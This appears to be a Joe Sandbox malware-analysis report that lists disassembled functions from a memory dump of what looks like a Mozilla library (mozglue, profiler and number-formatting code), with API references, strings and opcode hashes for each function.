Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 24b971dfb791c65186fe5f60409cc5ae5bacc762ebd9da071208df7439797c94
Instruction ID: 5d61175abeb1d1d97d142dcca1a4d18be1c309eaa68da78e1ac83e405a541628
Opcode Fuzzy Hash: 24b971dfb791c65186fe5f60409cc5ae5bacc762ebd9da071208df7439797c94
Instruction Fuzzy Hash: 90337C716257018FC308CF28C592615BBE2BF85328F2DC6ADE569CB7A5D731E881CB91

Function 6CAD4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CAD4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD4F2E
moz_xmalloc.MOZGLUE ref: 6CAD4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CAD4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD52E6
Sleep.KERNEL32(00000010), ref: 6CAD5481
free.MOZGLUE(?), ref: 6CAD5498

Strings

(, xrefs: 6CAD5250

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 53749956aa4aaaaa6bca747b9d900caed394b9c45de6e14c8c28de1e79434847
Instruction ID: 91e4bc8da91a45a00fa689aec2af7aaf17a8a5b686251eda3877f5bcc970c488
Opcode Fuzzy Hash: 53749956aa4aaaaa6bca747b9d900caed394b9c45de6e14c8c28de1e79434847
Instruction Fuzzy Hash: D0F1C071A18B018FC71ADF38C85062BB7F5AFD6284F05872EF856A7650DB31D846CB81

Function 6CAC2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CAC2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CAC2C61

Part of subcall function 6CA74DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA74E5A
Part of subcall function 6CA74DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA74E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAC2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CAC2E2D

Part of subcall function 6CA881B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CA881DE

Strings

ProfileBuffer parse error: %s, xrefs: 6CAC2E3B
expected a Time entry, xrefs: 6CAC2E36
(root), xrefs: 6CAC354F

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: e81d9182988a120efb1b1012e3304c9cc87e5058822850027277940c69922bd8
Instruction ID: 95802980e265d8517fb8fdc66b9473eba40a52d4f43933e053831d3caecd0490
Opcode Fuzzy Hash: e81d9182988a120efb1b1012e3304c9cc87e5058822850027277940c69922bd8
Instruction Fuzzy Hash: B291AE706087418FD724CF28C48469EB7F1AFC9358F148A1DE59A9B790DB30D98ACB93

Function 6CAD9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CAD9F3D
__aulldiv.LIBCMT ref: 6CAD9F77
__aullrem.LIBCMT ref: 6CAD9F8C
__aulldiv.LIBCMT ref: 6CADA023

Strings

NaN, xrefs: 6CAD9EAB
-Infinity, xrefs: 6CAD9E60, 6CAD9E7B

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 410421e3e91525f21e15068252e5f50c4850846154e3afac7bb00d3d1904cf2e
Instruction ID: 285409e191370829d78c33c4b9e810180b80903d05b10e4342322d5ca3871b07
Opcode Fuzzy Hash: 410421e3e91525f21e15068252e5f50c4850846154e3afac7bb00d3d1904cf2e
Instruction Fuzzy Hash: B5C1C171E003198BDB14CFA9C8507DEB7B6FF88304F194529E416ABB80DB71AD89CB91

Function 6CA7D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

8, xrefs: 6CA7DC08
0, xrefs: 6CA7D852
-, xrefs: 6CA7D7DD
, xrefs: 6CA7DA88
0, xrefs: 6CA7DC7F
1, xrefs: 6CA7DBDD
9, xrefs: 6CA7DE7F
@, xrefs: 6CA7DAF6

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 3030340bff49ea1d7e9bd3f7fe2e9a0a522b3ec23153b2d72de6b0e9b77ed557
Instruction ID: a8d09b53f8ac97095d99b1d90cf732e66ccd624d35f2cec54135520fed0c1580
Opcode Fuzzy Hash: 3030340bff49ea1d7e9bd3f7fe2e9a0a522b3ec23153b2d72de6b0e9b77ed557
Instruction Fuzzy Hash: EE62CE79A0C3458FD721CF29C49075ABBF2BF86318F184A1DE4E54BA91D33598C5CBA2

Function 6CA7BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA7C1CB
__aulldiv.LIBCMT ref: 6CA7C24C
__aulldiv.LIBCMT ref: 6CA7C348
__aullrem.LIBCMT ref: 6CA7C365
__aulldiv.LIBCMT ref: 6CA7C37D

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 29c12c0c241540fe2e5f9f539352c534bbf7d6284b93c0de580746eba8148c83
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: C0321336B046118FC728DE2CC890A5ABBE6AFC9314F09866DE895CB395D734ED05CBD1

Function 6CAE545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CAE8A4B

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 990903d8878b4a1e3b1f4a83e6df236cea59d054ad7ae04ab10e5f5fc2540f8d
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 3DB1C672A0021A8FDB24CF6CCD907E9B7B2EF99314F1902A9C549DB791D73099C9DB90

Function 6CAE542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CAE88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CAE925C

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 17d08694bc941b6fb2ade2fa7c3ce926e12916bb8e00dfffbea46c15084b79bf
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 5AB1C772E0020A8BDB14CF68C9816DDB7B2EF89314F190269C949DB785D730A9C9DBD0

Function 6CAB6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CAB6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAB6E1E

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 06f2b849778d3733c5eeeb07f3843bb05bcec13bd09ef9d1198e6247b6ac5a61
Instruction ID: b08688d691b7504976b3827c79cc1e081a9a8f29850adbfd9a3a3d4196aa3aca
Opcode Fuzzy Hash: 06f2b849778d3733c5eeeb07f3843bb05bcec13bd09ef9d1198e6247b6ac5a61
Instruction Fuzzy Hash: C5A17D706183858FD718CF24C5907AEFBF6BF88308F05891DE48A97751DB70A889CB92

Function 6CAD85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CAD8C7C
__aulldiv.LIBCMT ref: 6CAD8DD7

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 845890210716919c3786fe6bf77d2bf65eac23ad0ed629ce728660e12434046b
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 6A327131F001198BDF18CE9DC8A17EEB7B2FB88310F16953AD506BB790D634AD858B91

Function 6CAB5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CA84A63,?,?), ref: 6CAB5F06

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: a5e5b2e6bf57e02bc080c5a9b04a7b3248d020a168b024748ad7a0ab5932322b
Instruction ID: c20335af165b19711b18b9d3037cde270daca8c1fcade99e49d05a44205b027e
Opcode Fuzzy Hash: a5e5b2e6bf57e02bc080c5a9b04a7b3248d020a168b024748ad7a0ab5932322b
Instruction Fuzzy Hash: 3BC19075D012098BCB04CFA5C5906DEFBB6BF8A318F28425DD8557BB45D732A886CB90

Function 6CAE76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: e6fd4bcfc1c9e0fa5d090dac5ecb6a52cb5fea4f070406741ae3e939817242a9
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: CD32F971E006198FDB14CF99C890AADF7B2FF88304F688169C549E7746D731A986CF90

Function 6CAE6E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 02703b26aab1ce211a98ca8ede8d566aa9d8ed41049e1dc8317d0e551bc4e30b
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: DD22E771E006198FCB14CF99C980AADF7B2FF88304F6885A9C549E7746D731A986DF90

Function 6CAA0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 9ca46930d577afc85195f24516f120be5e336e9a89f1f3c11182b4f9f180ddb7
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 04221671E04629CFDB14CF98C890AADF7B2FF88304F588699D54AA7705D731A986CF90

Function 6CAEAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3400cfda3e43907aca6e090cdd3a4b9865514eefa559eca4cf2f35069c64813c
Instruction ID: 2d1a54291880301757d71839ec28b8e8c55673feff2f5e4acbc8301dfde21f2a
Opcode Fuzzy Hash: 3400cfda3e43907aca6e090cdd3a4b9865514eefa559eca4cf2f35069c64813c
Instruction Fuzzy Hash: DCF1F271A087454FD700CE68C8903AABBF2AFC9318F198A2DE4D587681E7749CC997D2

Function 6CA7C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: f5179536c65b94a0c2d4e2d102538659c4171a331d595b407ff8689cf9c70bf4
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 2BA1B275F0021A8BDB18DE69C8913AEB7F2BFC8354F188129D915E7781DB349C468BE0

Function 6CAD55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CAAE1A5), ref: 6CAD5606
LoadLibraryW.KERNEL32(gdi32,?,6CAAE1A5), ref: 6CAD560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CAD5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CAD563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CAD566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CAD567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CAD5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CAD56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CAD56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CAD56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CAD56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CAD5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CAD572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CAD5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CAD5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CAD577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CAD5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CAD57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CAD57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CAD57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CAD57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CAD57FF

Strings

LoadCursorW, xrefs: 6CAD5774
RegisterClassW, xrefs: 6CAD56AC
SetWindowLongPtrW, xrefs: 6CAD57B7
CreateWindowExW, xrefs: 6CAD56C5
GetMonitorInfoW, xrefs: 6CAD57A2
SetWindowPos, xrefs: 6CAD56F7
MonitorFromWindow, xrefs: 6CAD578D
ReleaseDC, xrefs: 6CAD5742
gdi32, xrefs: 6CAD560A
GetDpiForWindow, xrefs: 6CAD5690
user32, xrefs: 6CAD5601
AreDpiAwarenessContextsEqual, xrefs: 6CAD5637
FillRect, xrefs: 6CAD5729
GetThreadDpiAwarenessContext, xrefs: 6CAD562D
GetSystemMetricsForDpi, xrefs: 6CAD5677
LoadIconW, xrefs: 6CAD575B
GetWindowDC, xrefs: 6CAD5710
CreateSolidBrush, xrefs: 6CAD57E4
EnableNonClientDpiScaling, xrefs: 6CAD5666
ShowWindow, xrefs: 6CAD56DE
StretchDIBits, xrefs: 6CAD57CC
DeleteObject, xrefs: 6CAD57F9

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: d079c041f68fe6075158f7df4c1a3190dfd10bc59d353e44d6498f88b057855b
Instruction ID: 786c7dd6d9c56c342521045703d00e68c6efedf772bef5ec4dc5281b3cd25800
Opcode Fuzzy Hash: d079c041f68fe6075158f7df4c1a3190dfd10bc59d353e44d6498f88b057855b
Instruction Fuzzy Hash: 22514EF0A113035FEB059F35AD48D2A3AF9FB163457158529B931E2A41EF70D882DFA0

Function 6CABCC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CA8582D), ref: 6CABCC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CA8582D), ref: 6CABCC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CAEFE98,?,?,?,?,?,6CA8582D), ref: 6CABCC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CA8582D), ref: 6CABCC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CA8582D), ref: 6CABCC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CA8582D), ref: 6CABCC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA8582D), ref: 6CABCCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CABCCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CABCCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CABCCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CABCCFE
